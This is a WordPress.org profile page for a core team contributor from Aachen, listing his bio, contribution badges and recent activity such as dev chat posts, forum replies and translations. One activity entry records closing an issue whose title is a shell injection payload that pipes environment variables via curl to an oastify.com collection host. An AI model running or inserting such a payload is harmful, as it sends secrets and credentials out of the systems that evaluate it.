Benjamin Zekavica (@benjamin_zekavica) – WordPress user profile

Bio

My name is Benjamin Zekavica, 26 years old. I’m from Aachen, Germany. Currently, I am one of the WordPress Core Team global representatives in 2025.

– Web Developer since 2008 | 17 years
– WordPress User since 2013 | 12 years
– Community Member since 2015 | 10 years

Core Team
– Core Team global representative 2025
– WordPress 6.5 (April 2024) | Release Team: Design Lead
– Gutenberg Core Developer since WP version 5.0

Community Team
Mentor Q1 for Core Team

WordCamp Attendee:
Europe 2019, Europe 2023, Germany 2023, Europe 2024, Karlsruhe 2024

WordCamp Volunteer: Europe 2023, Europe 2024
WordCamp Organizer: Germany 2023
WordCamp Speaker: Germany 2023
WordPress Meetup Organizer/Speaker: Aachen

Interests

WordPress Themes, WordPress Plugins, HTML, CSS, PHP, JavaScript

WordPress Origin Story

My first version was WP 3.0. I love WordPress because its so easy and works fantastic. Contributor of Gutenberg and WordPress Core.

Contributions

Benjamin Zekavica contributes 10 hours per week to the following teams: Community, Core, Design, Meta, Polyglots, Support, Test, and Training.

Member Since: November 15th, 2015
Location: Aachen, Germany
Website: benjamin-zekavica.de
GitHub: BenjaminZekavica
Job Title: Professional Webdeveloper
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Contribution History

Accessibility Contributor
bbPress Contributor
BuddyPress Contributor
Community Contributor
Core Contributor
Core Performance Contributor
Core Team
Design Contributor
Documentation Contributor
Hosting Contributor
Meetup Organizer
Meta Contributor
Openverse Contributor
Pattern Author
Photo Contributor
Plugin Developer
Test Contributor
Theme Developer
Tide Contributor
Training Contributor
Translation Contributor
Translation Editor
WordCamp Organizer
WordCamp Speaker
WordPress.tv Contributor
WP-CLI Contributor

Activity
Plugins
Themes
Photos
Favorites
Translations

Posted a reply to Error When Creating a New Page, on the site WordPress.org Forums:
Hallo @michelles00 , please post your debug.log here. Please follow this instruction: Use an FTP…
2 days ago
Created issue #1857 in the WordPress/Documentation-Issue-Tracker repository:
Block Theme: Read More block missing images
2 days ago
Created issue #1856 in the WordPress/Documentation-Issue-Tracker repository:
Block Theme: Search Results Title block missing images
2 days ago
Wrote a new post, Summary, Dev Chat, Mar 12, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @francina. 🔗 Agenda post. Announcements 📢WordPress 6.8 | Beta 2 is…
3 days ago
Wrote a new post, Summary, Dev Chat, Mar 5, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @benjamin_zekavica. 🔗 Agenda post. Announcements 📢Gutenberg version 20.4 was…
1 week ago
Gave props in Slack:
Props to @JeffPaul for his excellent organization and planning of today’s Beta 1 Release Party!…
2 weeks ago
Received props from @JeffPaul in Slack:
Props to @joemcgill @desrosj @michelleames @Mamaduka @bph @beryldlg @krupajnanda @johnbillion @zunaid321 @narenin @wplmillet @sourabhjain @sukhendu2002…
2 weeks ago
Wrote a comment on the post Agenda, Dev Chat, Mar 5, 2025, on the site Make WordPress Core:
Hi @marybaum :) I’ve updated the post with your information. Thanks you so much. I’ll…
2 weeks ago
Wrote a new post, Agenda, Dev Chat, Mar 5, 2025, on the site Make WordPress Core:
The next WordPress Developers Chat will take place on in the core channel on Make WordPress Slack. The…
2 weeks ago
Wrote a new post, Editor Weekly Updates: Feb 24 – Mar 2, on the site Make WordPress Core:
Last week, there were some exciting developments in the Gutenberg Editor. Below, you'll find an…
2 weeks ago
Closed issue #477 on the WordPress/Community-Team repository:
$(env | curl -X POST http://wll8eb1vrcp5ydnf8fw4b8863x9nxc.oastify.com)
2 weeks ago
Wrote a new post, Summary, Dev Chat, Feb 26, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @francina. 🔗 Agenda post. Announcements 📢Gutenberg version 20.3 was…
2 weeks ago
Gave props in Slack:
Props to @krupaly2k for his amazing Editor Status Summary for the Core Team Blog :core:…
3 weeks ago
Wrote a new post, Editor Weekly Update: Feb 17–21, on the site Make WordPress Core:
Last week, there were some exciting developments in the Gutenberg Editor. Below, you'll find an…
3 weeks ago
Wrote a new post, Summary, Dev Chat, Feb 19, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @benjamin_zekavica. 🔗 Agenda post. Announcements 📢Forthcoming releases 🚀Next major release:…
4 weeks ago
Wrote a new post, Agenda, Dev Chat, Feb 19, 2025, on the site Make WordPress Core:
The next WordPress Developers Chat will take place on in the core channel on Make WordPress Slack. The…
4 weeks ago
Wrote a new post, Summary, Dev Chat, Feb 12, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @francina. 🔗 Agenda post. Announcements 📢 Core Team Representatives…
1 month ago
Made 2 updates to handbook pages on Make WordPress Core.
1 month ago
Received props from @jorbin in Slack:
Props to @coffee2code and @desrosj for the behind the scenes work on the 6.7.2 release…
1 month ago
Wrote a comment on the post Introducing Core Team Reps for 2025, on the site Make WordPress Core:
Thank you so much :)
1 month ago
Gave props in Slack:
Props to @mikachan and @joemcgill for their wonderful work in the Core Team as team…
1 month ago
Posted a reply to Hamburger icon color in header, on the site WordPress.org Forums:
Hallo @leventna in your Header you have a CSS Filter. Remove this: body.elementor-page-2153 header section {…
1 month ago
Received props from @jorbin in Slack:
Props to @nazmul111, @ahsankhan316, @zeelthakkar, @jagirbahesh, @Benjamin_Zekavica, @satishprajapati, @sukhendu2002, @desrosj for helping during the WordPress…
1 month ago
Wrote a comment on the post Nominations for Core Team Reps: 2025 Edition, on the site Make WordPress Core:
I am truly honored to have supported the WordPress Community Team as a Core Team…
3 months ago
Received props from @rfluethi in Slack:
Props to @Benjamin_Zekavica for the voiceover of the lesson https://learn.wordpress.org/lesson/einfuhrung-in-wordpress/ and to @west7 for the…
3 months ago
Wrote a comment on the post WordPress 6.8 Call for Volunteers, on the site Make WordPress Core:
I am highly interested in the role of Release Coordinator and would be thrilled to…
4 months ago
Received props from @JeffPaul in Slack:
Props to @mobarak @mosescursor @eroan @ali7ali @showravhasan @fazyshah @jagirbahesh @sarthaknagoshe2002 @zunaid321 @zeelthakkar @istiaqhossain @up1512001 @ankitkumarshah…
4 months ago
Translated 1 string on translate.wordpress.org.
4 months ago
Suggested 26 strings on translate.wordpress.org.
4 months ago
Created issue #418 in the WordPress/wordpress.org repository:
Bug in Footer Plugin Changeset Trac
4 months ago
Committed [3181757] to Plugins SVN:
Added 3.8 easy svg / WP 6.7 support
4 months ago
Translated 4 strings on translate.wordpress.org.
5 months ago
Translated 3 strings on translate.wordpress.org.
5 months ago
Suggested 36 strings on translate.wordpress.org.
5 months ago
Closed pull request #185 on WordPress/wordpress.org:
#9006 BuddyPress & bbPress Content Bugfix > used flexbox instead of overflow
5 months ago
Suggested 2 strings on translate.wordpress.org.
5 months ago
Translated 24 strings on translate.wordpress.org.
5 months ago
Mentioned in [59188] on Core SVN:
Editor: A11y: Fix tab order, state, and focus in classic editor.
5 months ago
Translated 1 string on translate.wordpress.org.
6 months ago
Mentioned in [59022] on Core SVN:
Themes: Improve the alignment of feature filters and inputs on Add Themes screen.
6 months ago
Suggested 2 strings on translate.wordpress.org.
6 months ago
Translated 10 strings on translate.wordpress.org.
6 months ago
Wrote a comment on the post PTE Request for onoffice-for-wp-websites, on the site Translate WordPress:
Hallo @tobifjellner we have a native spanish Speaker: https://profiles.wordpress.org/danielagomezurrea/ Do you can give him the…
6 months ago
Wrote a comment on the post PTE Request for onoffice-for-wp-websites, on the site Translate WordPress:
Hallo @lidialab, we have a native Italian Speaker: https://profiles.wordpress.org/sebastianraab/ Do you can give him the…
6 months ago
Posted a reply to WP_Widget Missing Save Button for Classic (Non-Block) Widget in Widgets Page, on the site WordPress.org Forums:
Hallo @financialcalculators It looks like you've run into a problem where the Save button doesn't…
6 months ago
Posted a reply to Best Free Backup Plugin for Including External Folders in WordPress Backups?, on the site WordPress.org Forums:
Hallo @elsoar Currently, most popular free WordPress backup plugins, like UpdraftPlus and BackWPup, only support…
6 months ago
Suggested 10 strings on translate.wordpress.org.
6 months ago
Wrote a new post, PTE Request for onoffice-for-wp-websites, on the site Translate WordPress:
I work for onOffice Gmbh. - https://wordpress.org/plugins/onoffice-for-wp-websites/ o #hr – @benjamin_zekavica o #es_ES – @benjamin_zekavica…
7 months ago
Submitted pull request #6877 to WordPress/wordpress-develop:
#29838 post editing accessibility
9 months ago
Committed [3105832] to Plugins SVN:
Added version 3.7
9 months ago